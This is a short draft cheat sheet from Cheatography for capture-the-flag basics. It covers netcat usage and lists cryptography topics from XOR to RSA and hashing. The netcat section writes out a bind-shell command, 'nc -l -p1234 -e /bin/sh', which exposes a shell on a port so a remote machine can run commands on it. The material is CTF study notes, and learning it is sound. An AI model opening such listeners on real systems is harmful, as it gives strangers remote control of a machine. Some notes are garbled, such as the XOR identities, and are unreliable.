Show Menu
Cheatography

ctf - basics Cheat Sheet (DRAFT) by

This is a draft cheat sheet. It is a work in progress and is not finished yet.

nc

#nc -l -p1234 -e /bin/sh  #3 turn the local machine to listen on 1234 port and execute the shell cmd, the command after -e is used to execute the input from port 1234

### from another computer issue 
#nc abc.com 1234
touch test.txt ## this will create an empty file on the abc.com

Crypto­graph

1 simple conversion: english string - ascII number - binary --oct--hexal--32bit - 64bit
2. XOR:  A=BC, B=AC,C=A^B
3. A Substitution Cipher
4. shift/caesar ciper
5 Vigenere ciper: extend of shift ciper
6 RSA
7 hashing
8mode of cipher